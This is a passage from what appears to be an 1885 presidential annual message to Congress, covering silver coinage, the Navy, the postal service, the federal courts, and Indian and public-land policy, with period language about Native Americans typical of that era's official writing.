without considering the attitude on the\nsubject of other countries with whom we maintain intercourse through\ncommerce, trade, and travel. An acknowledgment of this fact is found in the\nact by virtue of which our silver is compulsorily coined. It provides\nthat--The President shall invite the governments of the countries\ncomposing the Latin Union, so called, and of such other European nations as\nhe may deem advisable, to join the United States in a conference to adopt a\ncommon ratio between gold and silver for the purpose of establishing\ninternationally the use of bimetallic money and securing fixity of relative\nvalue between those metals. This conference absolutely failed, and a\nsimilar fate has awaited all subsequent efforts in the same direction. And\nstill we continue our coinage of silver at a ratio different from that of\nany other nation. The most vital part of the silver-coinage act remains\ninoperative and unexecuted, and without an ally or friend we battle upon\nthe silver field in an illogical and losing contest.To give full effect to the design of Congress on this subject I have made\ncareful and earnest endeavor since the adjournment of the last Congress.To this end I delegated a gentleman well instructed in fiscal science to\nproceed to the financial centers of Europe and, in conjunction with our\nministers to England, France, and Germany, to obtain a full knowledge of\nthe attitude and intent of those governments in respect of the\nestablishment of such an international ratio as would procure free coinage\nof both metals at the mints of those countries and our own. By my direction\nour consul-general at Paris has given close attention to the proceedings of\nthe congress of the Latin Union, in order to indicate our interest in its\nobjects and report its action.It may be said in brief, as the result of these efforts, that the attitude\nof the leading powers remains substantially unchanged since the monetary\nconference of 1881, nor is it to be questioned that the views of these\ngovernments are in each instance supported by the weight of public\nopinion.The steps thus taken have therefore only more fully demonstrated the\nuselessness of further attempts at present to arrive at any agreement on\nthe subject with other nations.In the meantime we are accumulating silver coin, based upon our own\npeculiar ratio, to such an extent, and assuming so heavy a burden to be\nprovided for in any international negotiations, as will render us an\nundesirable party to any future monetary conference of nations.It is a significant fact that four of the five countries composing the\nLatin Union mentioned in our coinage act, embarrassed with their silver\ncurrency, have just completed an agreement among themselves that no more\nsilver shall be coined by their respective Governments and that such as has\nbeen already coined and in circulation shall be redeemed in gold by the\ncountry of its coinage. The resort to this expedient by these countries may\nwell arrest the attention of those who suppose that we can succeed without\nshock or injury in the attempt to circulate upon its merits all the silver\nwe may coin under the provisions of our silver-coinage act.The condition in which our Treasury may be placed by a persistence in our\npresent course is a matter of concern to every patriotic citizen who does\nnot desire his Government to pay in silver such of its obligations as\nshould be paid in gold. Nor should our condition be such as to oblige us,\nin a prudent management of our affairs, to discontinue the calling in and\npayment of interest-bearing obligations which we have the right now to\ndischarge, and thus avoid the payment of further interest thereon.The so-called debtor class, for whose benefit the continued compulsory\ncoinage of silver is insisted upon, are not dishonest because they are in\ndebt, and they should not be suspected of a desire to jeopardize the\nfinancial safety of the country in order that they may cancel their present\ndebts by paying the same in depreciated dollars. Nor should it be forgotten\nthat it is not the rich nor the money lender alone that must submit to such\na readjustment, enforced by the Government and their debtors. The pittance\nof the widow and the orphan and the incomes of helpless beneficiaries of\nall kinds would be disastrously reduced. The depositors in savings banks\nand in other institutions which hold in trust the savings of the poor, when\ntheir little accumulations are scaled down to meet the new order of things,\nwould in their distress painfully realize the delusion of the promise made\nto them that plentiful money would improve their condition.We have now on hand all the silver dollars necessary to supply the present\nneeds of the people and to satisfy those who from sentiment wish to see\nthem in circulation, and if their coinage is suspended they can be readily\nobtained by all who desire them. If the need of more is at anytime\napparent, their coinage may be renewed.That disaster has not already overtaken us furnishes no proof that danger\ndoes not wait upon a continuation of the present silver coinage. We have\nbeen saved by the most careful management and unusual expedients, by a\ncombination of fortunate conditions, and by a confident expectation that\nthe course of the Government in regard to silver coinage would be speedily\nchanged by the action of Congress.Prosperity hesitates upon our threshold because of the dangers and\nuncertainties surrounding this question. Capital timidly shrinks from\ntrade, and investors are unwilling to take the chance of the questionable\nshape in which their money will be returned to them, while enterprise halts\nat a risk against which care and sagacious management do not protect.As a necessary consequence, labor lacks employment and suffering and\ndistress are visited upon a portion of our fellow-citizens especially\nentitled to the careful consideration of those charged with the duties of\nlegislation. No interest appeals to us so strongly for a safe and stable\ncurrency as the vast army of the unemployed.I recommend the suspension of the compulsory coinage of silver dollars,\ndirected by the law passed in February, 1878.The Steamboat-Inspection Service on the 30th day of June, 1885, was\ncomposed of 140 persons, including officers, clerks, and messengers. The\nexpenses of the service over the receipts were $138,822.22 during the\nfiscal year. The special inspection of foreign steam vessels, organized\nunder a law passed in 1882, was maintained during the year at an expense of\n$36,641.63. Since the close of the fiscal year reductions have been made in\nthe force employed which will result in a saving during the current year of\n$17,000 without affecting the efficiency of the service.The Supervising Surgeon-General reports that during the fiscal year 41,714\npatients have received relief through the Marine-Hospital Service, of whom\n12,803 were treated in hospitals and 28,911 at the dispensaries.Active and effective efforts have been made through the medium of this\nservice to protect the country against an invasion of cholera, which has\nprevailed in Spain and France, and the smallpox, which recently broke out\nin Canada.The most gratifying results have attended the operations of the Life Saving\nService during the last fiscal year. The observance of the provision of law\nrequiring the appointment of the force employed in this service to be made\n\"solely with reference to their fitness, and without reference to their\npolitical or party affiliation,\" has secured the result which may\nconfidently be expected in any branch of public employment where such a\nrule is applied. As a consequence, this service is composed of men well\nqualified for the performance of their dangerous and exceptionally\nimportant duties.The number of stations in commission at the close of the year was 203. The\nnumber of disasters to vessels and craft of all kinds within their field of\naction was 371. The number of persons endangered in such disasters was\n2,439, of whom 2,428 were saved and only 11 lost. Other lives which were\nimperiled, though not by disasters to shipping, were also rescued, and a\nlarge amount of property was saved through the aid of this service. The\ncost of its maintenance during the year was $828,474.43.The work of the Coast and Geodetic Survey was during the last fiscal year\ncarried on within the boundaries and off the coasts of thirty-two States,\ntwo Territories, and the District of Columbia. In July last certain\nirregularities were found to exist in the management of this Bureau, which\nled to a prompt investigation of its methods. The abuses which were brought\nto light by this examination and the reckless disregard of duty and the\ninterests of the Government developed on the part of some of those\nconnected with the service made a change of superintendency and a few of\nits other officers necessary. Since the Bureau has been in new hands an\nintroduction of economies and the application of business methods have\nproduced an important saving to the Government and a promise of more useful\nresults.This service has never been regulated by anything but the most indefinite\nlegal enactments and the most unsatisfactory rules. It was many years ago\nsanctioned apparently for a purpose regarded as temporary and related to a\nsurvey of our coast. Having gained a place in the appropriations made by\nCongress, it has gradually taken to itself powers and objects not\ncontemplated in its creation and extended its operations until it sadly\nneeds legislative attention.So far as a further survey of our coast is concerned, there seems to be a\npropriety in transferring that work to the Navy Department. The other\nduties now in charge of this establishment, if they can not be profitably\nattached to some existing Department or other bureau, should be prosecuted\nunder a law exactly defining their scope and purpose, and with a careful\ndiscrimination between the scientific inquiries which may properly be\nassumed by the Government and those which should be undertaken by State\nauthority or by individual enterprise.It is hoped that the report of the Congressional committee heretofore\nappointed to investigate this and other like matters will aid in the\naccomplishment of proper legislation on this subject.The report of the Secretary of War is herewith submitted. The attention of\nCongress is invited to the detailed account which it contains of the\nadministration of his Department, and his recommendations and suggestions\nfor the improvement of the service.The Army consisted, at the date of the last consolidated returns, of 2,154\nofficers and 24,705 enlisted men.The expenses of the Departments for the fiscal year ended June, 30, 1885,\nincluding $13,164,394.60 for public works and river and harbor\nimprovements, were $45,850,999.54.Besides the troops which were dispatched in pursuit of the small band of\nIndians who left their reservation in Arizona and committed murders and\noutrages, two regiments of cavalry and one of infantry were sent last July\nto the Indian Territory to prevent an outbreak which seemed imminent. They\nremained to aid, if necessary, in the expulsion of intruders upon the\nreservation, who seemed to have caused the discontent among the Indians,\nbut the Executive proclamation warning them to remove was complied with\nwithout their interference.Troops were also sent to Rock Springs, in Wyoming Territory, after the\nmassacre of Chinese there, to prevent further disturbance, and afterwards\nto Seattle, in Washington Territory, to avert a threatened attack upon\nChinese laborers and domestic violence there. In both cases the mere\npresence of the troops had the desired effect.It appears that the number of desertions has diminished, but that during\nthe last fiscal year they numbered 2,927; and one instance is given by the\nLieutenant-General of six desertions by the same recruit. I am convinced\nthat this number of desertions can be much diminished by better discipline\nand treatment; but the punishment should be increased for repeated\noffenses.These desertions might also be reduced by lessening the term of first\nenlistments, thus allowing a discontented recruit to contemplate a nearer\ndischarge and the Army a profitable riddance. After one term of service a\nreenlistment would be quite apt to secure a contented recruit and a good\nsoldier.The Acting Judge-Advocate-General reports that the number of trials by\ngeneral courts-martial during the year was 2,328, and that 11,851 trials\ntook place before garrison and regimental courts-martial. The suggestion\nthat probably more than half the Army have been tried for offenses, great\nand small, in one year may well arrest attention. Of course many of these\ntrials before garrison and regimental courts-martial were for offenses\nalmost frivolous, and there should, I think, be a way devised to dispose of\nthese in a more summary and less inconvenient manner than by\ncourt-martial.If some of the proceedings of courts-martial which I have had occasion to\nexamine present the ideas of justice which generally prevail in these\ntribunals, I am satisfied that they should be much reformed if the honor\nand the honesty of the Army and Navy are by their instrumentality to be\nvindicated and protected.The Board on Fortifications or other defenses, appointed in pursuance of\nthe provisions of the act of Congress approved March 3, 1885, will in a\nshort time present their report, and it is hoped that this may greatly aid\nthe legislation so necessary to remedy the present defenseless condition of\nour seacoasts.The work of the Signal Service has been prosecuted during the last year\nwith results of increasing benefit to the country. The field of instruction\nhas been enlarged with a view of adding to its usefulness. The number of\nstations in operation June 30, 1885, was 489. Telegraphic reports are\nreceived daily from 160 stations. Reports are also received from 25\nCanadian stations, 375 volunteer observers, 52 army surgeons at military\nposts, and 333 foreign stations. The expense of the service during the\nfiscal year, after deducting receipts from military telegraph lines, was\n$792,592.97. In view of the fact referred to by the Secretary of War, that\nthe work of this service ordinarily is of a scientific nature, and the\nfurther fact that it is assuming larger proportions constantly and becoming\nmore and more unsuited to the fixed rules which must govern the Army, I am\ninclined to agree with him in the opinion that it should be separately\nestablished. If this is done, the scope and extent of its operations\nshould, as nearly as possible, be definitely prescribed by law and always\ncapable of exact ascertainment.The Military Academy at West Point is reported as being in a high state of\nefficiency and well equipped for the satisfactory accomplishment of the\npurposes of its maintenance.The fact that the class which graduates next year is an unusually large one\nhas constrained me to decline to make appointments to second lieutenancies\nin the Army from civil life, so that such vacancies as exist in these\nplaces may be reserved for such graduates; and yet it is not probable that\nthere will be enough vacancies to provide positions for them all when they\nleave the military school. Under the prevailing law and usage those not\nthus assigned to duty never actively enter the military service. It is\nsuggested that the law on this subject be changed so that such of these\nyoung men as are not at once assigned to duty after graduation may be\nretained as second lieutenants in the Army if they desire it, subject to\nassignment when opportunity occurs, and under proper rules as to priority\nof selection.The expenditures on account of the Military Academy for the last fiscal\nyear, exclusive of the sum taken for its purposes from appropriations for\nthe support of the Army, were $290,712.07.The act approved March 3, 1885, designed to compensate officers and\nenlisted men for loss of private property while in the service of the\nUnited States, is so indefinite in its terms and apparently admits so many\nclaims the adjustment of which could not have been contemplated that if it\nis to remain upon the statute book it needs amendment.There should be a general law of Congress prohibiting the construction of\nbridges over navigable waters in such manner as to obstruct navigation,\nwith provisions for preventing the same. It seems that under existing\nstatutes the Government can not intervene to prevent such a construction\nwhen entered upon without its consent, though when such consent is asked\nand granted upon condition the authority to insist upon such condition is\nclear. Thus it is represented that while the officers of the Government are\nwith great care guarding against the obstruction of navigation by a bridge\nacross the Mississippi River at St. Paul a large pier for a bridge has been\nbuilt just below this place directly in the navigable channel of the river.\nIf such things are to be permitted, a strong argument is presented against\nthe appropriation of large sums of money to improve the navigation of this\nand other important highways of commerce.The report of the Secretary of the Navy gives a history of the operations\nof his Department and the present condition of the work committed to his\ncharge.He details in full the course pursued by him to protect the rights of the\nGovernment in respect of certain vessels unfinished at the time of his\naccession to office, and also concerning the dispatch boat Dolphin, claimed\nto be completed and awaiting the acceptance of the Department. No one can\nfail to see from recitals contained in this report that only the\napplication of business principles has been insisted upon in the treatment\nof these subjects, and that whatever controversy has arisen was caused by\nthe exaction on the part of the Department of contract obligations as they\nwere legally construed. In the case of the Dolphin, with entire justice to\nthe contractor, an agreement has been entered into providing for the\nascertainment by a judicial inquiry of the complete or partial compliance\nwith the contract in her construction, and further providing for the\nassessment of any damages to which the Government may be entitled on\naccount of a partial failure to perform such contract, or the payment of\nthe sum still remaining unpaid upon her price in case a full performance is\nadjudged.The contractor, by reason of his failure in business, being unable to\ncomplete the other three vessels, they were taken possession of by the\nGovernment in their unfinished state under a clause in the contract\npermitting such a course, and are now in process of completion in the yard\nof the contractor, but under the supervision of the Navy Department.Congress at its last session authorized the construction of two additional\nnew cruisers and two gunboats, at a cost not exceeding in the aggregate\n$2,995,000. The appropriation for this purpose having become available on\nthe 1st day of July last, steps were at once taken for the procurement of\nsuch plans for the construction of these vessels as would be likely to\ninsure their usefulness when completed. These are of the utmost importance,\nconsidering the constant advance in the art of building vessels of this\ncharacter, and the time is not lost which is spent in their careful\nconsideration and selection.All must admit the importance of an effective navy to a nation like ours,\nhaving such an extended seacoast to protect; and yet we have not a single\nvessel of war that could keep the seas against a first-class vessel of any\nimportant power. Such a condition ought not longer to continue. The nation\nthat can not resist aggression is constantly exposed to it. Its foreign\npolicy is of necessity weak and its negotiations are conducted with\ndisadvantage because it is not in condition to enforce the terms dictated\nby its sense of right and justice.Inspired, as I am, by the hope, shared by all patriotic citizens, that the\nday is not very far distant when our Navy will be such as befits our\nstanding among the nations of the earth, and rejoiced at every step that\nleads in the direction of such a consummation, I deem it my duty to\nespecially direct the attention of Congress to the close of the report of\nthe Secretary of the Navy, in which the humiliating weakness of the present\norganization of his Department is exhibited and the startling abuses and\nwaste of its present methods are exposed. The conviction is forced upon us\nwith the certainty of mathematical demonstration that before we proceed\nfurther in the restoration of a Navy we need a thoroughly reorganized Navy\nDepartment. The fact that within seventeen years more than $75,000,000 have\nbeen spent in the construction, repair, equipment, and armament of vessels,\nand the further fact that instead of an effective and creditable fleet we\nhave only the discontent and apprehension of a nation undefended by war\nvessels, added to the disclosures now made, do not permit us to doubt that\nevery attempt to revive our Navy has thus far for the most part been\nmisdirected, and all our efforts in that direction have been little better\nthan blind gropings and expensive, aimless follies.Unquestionably if we are content with the maintenance of a Navy Department\nsimply as a shabby ornament to the Government, a constant watchfulness may\nprevent some of the scandal and abuse which have found their way into our\npresent organization, and its incurable waste may be reduced to the\nminimum. But if we desire to build ships for present usefulness instead of\nnaval reminders of the days that are past, we must have a Department\norganized for the work, supplied with all the talent and ingenuity our\ncountry affords, prepared to take advantage of the experience of other\nnations, systematized so that all effort shall unite and lead in one\ndirection, and fully imbued with the conviction that war vessels, though\nnew, are useless unless they combine all that the ingenuity of man has up\nto this day brought forth relating to their construction.I earnestly commend the portion of the Secretary's report devoted to this\nsubject to the attention of Congress, in the hope that his suggestions\ntouching the reorganization of his Department may be adopted as the first\nstep toward the reconstruction of our Navy.The affairs of the postal service are exhibited by the report of the\nPostmaster-General, which will be laid before you.The postal revenue, whose ratio of gain upon the rising prosperity of 1882\nand 1883 outstripped the increasing expenses of our growing service, was\nchecked by the reduction in the rate of letter postage which took effect\nwith the beginning of October in the latter year, and it diminished during\nthe two past fiscal years $2,790,000, in about the proportion of $2,270,000\nin 1884 to $520,000 in 1885. Natural growth and development have meantime\nincreased expenditure, resulting in a deficiency in the revenue to meet the\nexpenses of the Department of five and a quarter million dollars for the\nyear 1884 and eight and a third million in the last fiscal year. The\nanticipated and natural revival of the revenue has been oppressed and\nretarded by the unfavorable business condition of the country, of which the\npostal service is a faithful indicator. The gratifying fact is shown,\nhowever, by the report that our returning prosperity is marked by a gain of\n$380,000 in the revenue of the latter half of the last year over the\ncorresponding period of the preceding year.The change in the weight of first-class matter which may be carried for a\nsingle rate of postage from a half ounce to an ounce, and the reduction by\none-half of the rate of newspaper postage, which, under recent legislation,\nbegan with the current year, will operate to restrain the augmentation of\nreceipts which otherwise might have been expected to such a degree that the\nscale of expense may gain upon the revenue and cause an increased\ndeficiency to be shown at its close. Yet, after no long period of\nreawakened prosperity, by proper economy it is confidently anticipated that\neven the present low rates, now as favorable as any country affords, will\nbe adequate to sustain the cost of the service.The operation of the Post-Office Department is for the convenience and\nbenefit of the people, and the method by which they pay the charges of this\nuseful arm of their public service, so that it be just and impartial, is of\nless importance to them than the economical expenditure of the means they\nprovide for its maintenance and the due improvement of its agencies, so\nthat they may enjoy its highest usefulness.A proper attention has been directed to the prevention of waste or\nextravagance, and good results appear from the report to have already been\naccomplished.I approve the recommendation of the Postmaster-General to reduce the\ncharges on domestic money orders of $5 and less from 8 to 5 cents. This\nchange will materially aid those of our people who most of all avail\nthemselves of this instrumentality, but to whom the element of cheapness is\nof the greatest importance. With this reduction the system would still\nremain self-supporting.The free-delivery system has been extended to 19 additional cities during\nthe year, and 178 now enjoy its conveniences. Experience has commended it\nto those who enjoy its benefits, and further enlargement of its facilities\nis due to other communities to which it is adapted. In the cities where it\nhas been established, taken together the local postage exceeds its\nmaintenance by nearly $1,300,000. The limit to which this system is now\nconfined by law has been nearly reached, and the reasons given justify its\nextension, which is proposed.It was decided, with my approbation, after a sufficient examination, to be\ninexpedient for the Post-Office Department to contract for carrying our\nforeign mails under the additional authority given by the last Congress.\nThe amount limited was inadequate to pay all within the purview of the law\nthe full rate of 50 cents per mile, and it would have been unjust and\nunwise to have given it to some and denied it to others. Nor could\ncontracts have been let under the law to all at a rate to have brought the\naggregate within the appropriation without such practical prearrangement of\nterms as would have violated it.The rate of sea and inland postage which was proffered under another\nstatute clearly appears to be a fair compensation for the desired service,\nbeing three times the price necessary to secure transportation by other\nvessels upon any route, and much beyond the charges made to private persons\nfor services not less burdensome.Some of the steamship companies, upon the refusal of the Postmaster-General\nto attempt, by the means provided, the distribution of the sum appropriated\nas an extra compensation, withdrew the services of their vessels and\nthereby occasioned slight inconvenience, though no considerable injury, the\nmails having been dispatched by other means.Whatever may be thought of the policy of subsidizing any line of public\nconveyance or travel, I am satisfied that it should not be done under cover\nof an expenditure incident to the administration of a Department, nor\nshould there be any uncertainty as to the recipients of the subsidy or any\ndiscretion left to an executive officer as to its distribution. If such\ngifts of the public money are to be made for the purpose of aiding any\nenterprise in the supposed interest of the public, I can not but think that\nthe amount to be paid and the beneficiary might better be determined by\nCongress than in any other way.The international congress of delegates from the Postal Union countries\nconvened at Lisbon, in Portugal, in February last, and after a session of\nsome weeks the delegates signed a convention amendatory of the present\npostal-union convention in some particulars designed to advance its\npurposes. This additional act has had my approval and will be laid before\nyou with the departmental report.I approve the recommendation of the postmaster-General that another\nassistant be provided for his Department. I invite your consideration to\nthe several other recommendations contained in his report.The report of the Attorney-General contains a history of the conduct of the\nDepartment of Justice during the last year and a number of valuable\nsuggestions as to needed legislation, and I invite your careful attention\nto the same.The condition of business in the courts of the United States is such that\nthere seems to be an imperative necessity for remedial legislation on the\nsubject. Some of these courts are so overburdened with pending causes that\nthe delays in determining litigation amount often to a denial of justice.\nAmong the plans suggested for relief is one submitted by the\nAttorney-General. Its main features are: The transfer of all the original\njurisdiction of the circuit courts to the district courts and an increase\nof judges for the latter where necessary; an addition of judges to the\ncircuit courts, and constituting them exclusively courts of appeal, and\nreasonably limiting appeals thereto; further restrictions of the right to\nremove causes from the State to Federal courts; permitting appeals to the\nSupreme Court from the courts of the District of Columbia and the\nTerritories only in the same cases as they are allowed from State courts,\nand guarding against an unnecessary number of appeals from the circuit\ncourts.I approve the plan thus outlined, and recommend the legislation necessary\nfor its application to our judicial system.The present mode of compensating United States marshals and district\nattorneys should, in my opinion, be changed. They are allowed to charge\nagainst the Government certain fees for services, their income being\nmeasured by the amount of such fees within a fixed limit as to their annual\naggregate. This is a direct inducement for them to make their fees in\ncriminal cases as large as possible in an effort to reach the maximum sum\npermitted. As an entirely natural consequence, unscrupulous marshals are\nfound encouraging frivolous prosecutions, arresting people on petty charges\nof crime and transporting them to distant places for examination and trial,\nfor the purpose of earning mileage and other fees; and district attorneys\nuselessly attend criminal examinations far from their places of residence\nfor the express purpose of swelling their accounts against the Government.\nThe actual expenses incurred in these transactions are also charged against\nthe Government.Thus the rights and freedom of our citizens are outraged and public\nexpenditures increased for the purpose of furnishing public officers\npretexts for increasing the measure of their compensation.I think marshals and district attorneys should be paid salaries, adjusted\nby a rule which will make them commensurate with services fairly rendered.In connection with this subject I desire to suggest the advisability, if it\nbe found not obnoxious to constitutional objection, of investing United\nStates commissioners with the power to try and determine certain violations\nof law within the grade of misdemeanors. Such trials might be made to\ndepend upon the option of the accused. The multiplication of small and\ntechnical offenses, especially under the provisions of our internal-revenue\nlaw, render some change in our present system very desirable in the\ninterests of humanity as well as economy. The district courts are now\ncrowded with petty prosecutions, involving a punishment in case of\nconviction, of only a slight fine, while the parties accused are harassed\nby an enforced attendance upon courts held hundreds of miles from their\nhomes. If poor and friendless, they are obliged to remain in jail during\nmonths, perhaps, that elapse before a session of the court is held, and are\nfinally brought to trial surrounded by strangers and with but little real\nopportunity for defense. In the meantime frequently the marshal has charged\nagainst the Government his fees for an arrest, the transportation of the\naccused and the expense of the same, and for summoning witnesses before a\ncommissioner, a grand jury, and a court; the witnesses have been paid from\nthe public funds large fees and traveling expenses, and the commissioner\nand district attorney have also made their charges against the Government.This abuse in the administration of our criminal law should be remedied;\nand if the plan above suggested is not practicable, some other should be\ndevised.The report of the Secretary of the Interior, containing an account of the\noperations of this important Department and much interesting information,\nwill be submitted for your consideration.The most intricate and difficult subject in charge of this Department is\nthe treatment and management of the Indians. I am satisfied that some\nprogress may be noted in their condition as a result of a prudent\nadministration of the present laws and regulations for their control.But it is submitted that there is lack of a fixed purpose or policy on this\nsubject, which should be supplied. It is useless to dilate upon the wrongs\nof the Indians, and as useless to indulge in the heartless belief that\nbecause their wrongs are revenged in their own atrocious manner, therefore\nthey should be exterminated.They are within the care of our Government, and their rights are, or should\nbe, protected from invasion by the most solemn obligations. They are\nproperly enough called the wards of the Government; and it should be borne\nin mind that this guardianship involves on our part efforts for the\nimprovement of their condition and the enforcement of their rights. There\nseems to be general concurrence in the proposition that the ultimate object\nof their treatment should be their civilization and citizenship. Fitted by\nthese to keep pace in the march of progress with the advanced civilization\nabout them, they will readily assimilate with the mass of our population,\nassuming the responsibilities and receiving the protection incident to this\ncondition.The difficulty appears to be in the selection of the means to be at present\nemployed toward the attainment of this result.Our Indian population, exclusive of those in Alaska, is reported as\nnumbering 260,000, nearly all being located on lands set apart for their\nuse and occupation, aggregating over 134,000,000 acres. These lands are\nincluded in the boundaries of 171 reservations of different dimensions,\nscattered in 21 States and Territories, presenting great variations in\nclimate and in the kind and quality of their soils. Among the Indians upon\nthese several reservations there exist the most marked differences in\nnatural traits and disposition and in their progress toward civilization.\nWhile some are lazy, vicious, and stupid, others are industrious, peaceful,\nand intelligent; while a portion of them are self-supporting and\nindependent, and have so far advanced in civilization that they make their\nown laws, administered through officers of their own choice, and educate\ntheir children in schools of their own establishment and maintenance,\nothers still retain, in squalor and dependence, almost the savagery of\ntheir natural state.In dealing with this question the desires manifested by the Indians should\nnot be ignored. Here again we find a great diversity. With some the tribal\nrelation is cherished with the utmost tenacity, while its hold upon others\nis considerably relaxed; the love of home is strong with all, and yet there\nare those whose attachment to a particular locality is by no means\nunyielding; the ownership of their lands in severalty is much desired by\nsome, while by others, and sometimes among the most civilized, such a\ndistribution would be bitterly opposed.The variation of their wants, growing out of and connected with the\ncharacter of their several locations, should be regarded. Some are upon\nreservations most fit for grazing, but without flocks or herds; and some on\narable land, have no agricultural implements. While some of the\nreservations are double the size necessary to maintain the number of\nIndians now upon them, in a few cases, perhaps, they should be enlarged.Add to all this the difference in the administration of the agencies. While\nthe same duties are devolved upon all, the disposition of the agents and\nthe manner of their contact with the Indians have much to do with their\ncondition and welfare. The agent who perfunctorily performs his duty and\nslothfully neglects all opportunity to advance their moral and physical\nimprovement and fails to inspire them with a desire for better things will\naccomplish nothing in the direction of their civilization, while he who\nfeels the burden of an important trust and has an interest in his work\nwill, by consistent example, firm yet considerate treatment, and\nwell-directed aid and encouragement, constantly lead those under his charge\ntoward the light of their enfranchisement.The history of all the progress which has been made in the civilization of\nthe Indian I think will disclose the fact that the beginning has been\nreligious teaching, followed by or accompanying secular education. While\nthe self-sacrificing and pious men and women who have aided in this good\nwork by their independent endeavor have for their reward the beneficent\nresults of their labor and the consciousness of Christian duty well\nperformed, their valuable services should be fully acknowledged by all who\nunder the law are charged with the control and management of our Indian\nwards.What has been said indicates that in the present condition of the Indians\nno attempt should be made to apply a fixed and unyielding plan of action to\ntheir varied and varying needs and circumstances.The Indian Bureau, burdened as it is with their general oversight and with\nthe details of the establishment, can hardly possess itself of the minute\nphases of the particular cases needing treatment; and thus the propriety of\ncreating an instrumentality auxiliary to those already established for the\ncare of the Indians suggests itself.I recommend the passage of a law authorizing the appointment of six\ncommissioners, three of whom shall be detailed from the Army, to be charged\nwith the duty of a careful inspection from time to time of all the Indians\nupon our reservations or subject to the care and control of the Government,\nwith a view of discovering their exact condition and needs and determining\nwhat steps shall be taken on behalf of the Government to improve their\nsituation in the direction of their self-support and complete civilization;\nthat they ascertain from such inspection what, if any, of the reservations\nmay be reduced in area, and in such cases what part not needed for Indian\noccupation may be purchased by the Government from the Indians and disposed\nof for their benefit; what, if any, Indians may, with their consent, be\nremoved to other reservations, with a view of their concentration and the\nsale on their behalf of their abandoned reservations; what Indian lands now\nheld in common should be allotted in severalty; in what manner and to what\nextent the Indians upon the reservations can be placed under the protection\nof our laws and subjected to their penalties, and which, if any, Indians\nshould be invested with the right of citizenship. The powers and functions\nof the commissioners in regard to these subjects should be clearly defined,\nthough they should, in conjunction with the Secretary of the Interior, be\ngiven all the authority to deal definitely with the questions presented\ndeemed safe and consistent.They should be also charged with the duty of ascertaining the Indians who\nmight properly be furnished with implements of agriculture, and of what\nkind; in what cases the support of the Government should be withdrawn;\nwhere the present plan of distributing Indian supplies should be changed;\nwhere schools may be established and where discontinued; the conduct,\nmethods, and fitness of agents in charge of reservations; the extent to\nwhich such reservations are occupied or intruded upon by unauthorized\npersons, and generally all matters related to the welfare and improvement\nof the Indian.They should advise with the Secretary of the Interior concerning these\nmatters of detail in management, and he should be given power to deal with\nthem fully, if he is not now invested with such power.This plan contemplates the selection of persons for commissioners who are\ninterested in the Indian question and who have practical ideas upon the\nsubject of their treatment.The expense of the Indian Bureau during the last fiscal year was more than\nsix and a halt million dollars. I believe much of this expenditure might be\nsaved under the plan proposed; that its economical effects would be\nincreased with its continuance; that the safety of our frontier settlers\nwould be subserved under its operation, and that the nation would be saved\nthrough its results from the imputation of inhumanity, injustice, and\nmismanagement.In order to carry out the policy of allotment of Indian lands in severalty,\nwhen deemed expedient, it will be necessary to have surveys completed of\nthe reservations, and, I hope that provision will be made for the\nprosecution of this work.In May of the present year a small portion of the Chiricahua Apaches on the\nWhite Mountain Reservation, in Arizona, left the reservation and committed\na number of murders and depredations upon settlers in that neighborhood.\nThough prompt and energetic action was taken by the military, the renegades\neluded capture and escaped into Mexico. The formation of the country\nthrough which these Indians passed, their thorough acquaintance with the\nsame, the speed of their escape, and the manner in which they scattered and\nconcealed themselves among the mountains near the scene of their outrages\nput our soldiers at a great disadvantage in their efforts to capture them,\nthough the expectation is still entertained that they will be ultimately\ntaken and punished for their crimes.The threatening and disorderly conduct of the Cheyennes in the Indian\nTerritory early last summer caused considerable alarm and uneasiness.\nInvestigation proved that their threatening attitude was due in a great\nmeasure to the occupation of the land of their reservation by immense herds\nof cattle, which their owners claimed were rightfully there under certain\nleases made by the Indians. Such occupation appearing upon examination to\nbe unlawful notwithstanding these leases, the intruders were ordered to\nremove with their cattle from the lands of the Indians by Executive\nproclamation. The enforcement of this proclamation had the effect of\nrestoring peace and order among the Indians, and they are now quiet and\nwell behaved.By an Executive order issued on February 27, 1885, by my predecessor, a\nportion of the tract of country in the territory known as the Old Winnebago\nand Crow Creek reservations was directed to be restored to the public\ndomain and opened to settlement under the land laws of the United States,\nand a large number of persons entered upon those lands. This action alarmed\nthe Sioux Indians, who claimed the territory as belonging to their\nreservation under the treaty of 1868. This claim was determined, after\ncareful investigation, to be well rounded, and consequently the Executive\norder referred to was by proclamation of April 17, 1885, declared to be\ninoperative and of no effect, and all persons upon the land were warned to\nleave. This warning has been substantially complied with.The public domain had its origin in cessions of land by the States to the\nGeneral Government. The first cession was made by the State of New York,\nand the largest, which in area exceeded all the others, by the State of\nVirginia. The territory the proprietorship of which became thus vested in\nthe General Government extended from the western line of Pennsylvania to\nthe Mississippi River. These patriotic donations of the States were\nencumbered with no condition except that they should the held and used \"for\nthe common benefit of the United States.\" By purchase with the common fund\nof all the people additions were made to this domain until it extended to\nthe northern line of Mexico, the Pacific Ocean, and the Polar Sea. The\noriginal trust, \"for the common benefit of the United States,\" attached to\nall. In the execution of that trust the policy of many homes, rather than\nlarge estates, was adopted by the Government. That these might be easily\nobtained, and be the abode of security and contentment, the laws for their\nacquisition were few, easily understood, and general in their character.\nBut the pressure of local interests, combined with a speculative spirit,\nhave in many instances procured the passage of laws which marred the\nharmony of the general plan and encumbered the system with a multitude of\ngeneral and special enactments which render the land laws complicated,\nsubject the titles to uncertainty, and the purchasers often to oppression\nand wrong. Laws which were intended for the \"common benefit\" have been\nperverted so that large quantities of land are vesting in single\nownerships. From the multitude and character of the laws, this consequence\nseems incapable of correction by mere administration.It is not for the \"common benefit of the United States\" that a large area\nof the public lands should be acquired, directly or through fraud, in the\nhands of a single individual. The nation's strength is in the people. The\nnation's prosperity is in their prosperity. The nation's glory is in the\nequality of her justice. The nation's perpetuity is in the patriotism of\nall her people. Hence, as far as practicable, the plan adopted in the\ndisposal of the public lands should have in view the original policy, which\nencouraged many purchases of these lands for homes and discouraged the\nmassing of large areas. Exclusive of Alaska, about three-fifths of the\nnational domain has been sold or subjected to contract or grant. Of the\nremaining two-fifths a considerable portion is either mountain or desert. A\nrapidly increasing population creates a growing demand for homes, and the\naccumulation of wealth inspires an eager competition to obtain the public\nland for speculative purposes. In the future this collision of interests\nwill be more marked than in the past, and the execution of the nation's\ntrust in behalf of our settlers will be more difficult. I therefore commend\nto your attention the recommendations contained in the report of the\nSecretary of the Interior with reference to the repeal and modification of\ncertain of our land laws.The nation has made princely grants and subsidies to a system of railroads\nprojected as great national highways to connect the Pacific States with the\nEast. It has been charged that these donations from the people have been\ndiverted to private gain and corrupt uses, and thus public indignation 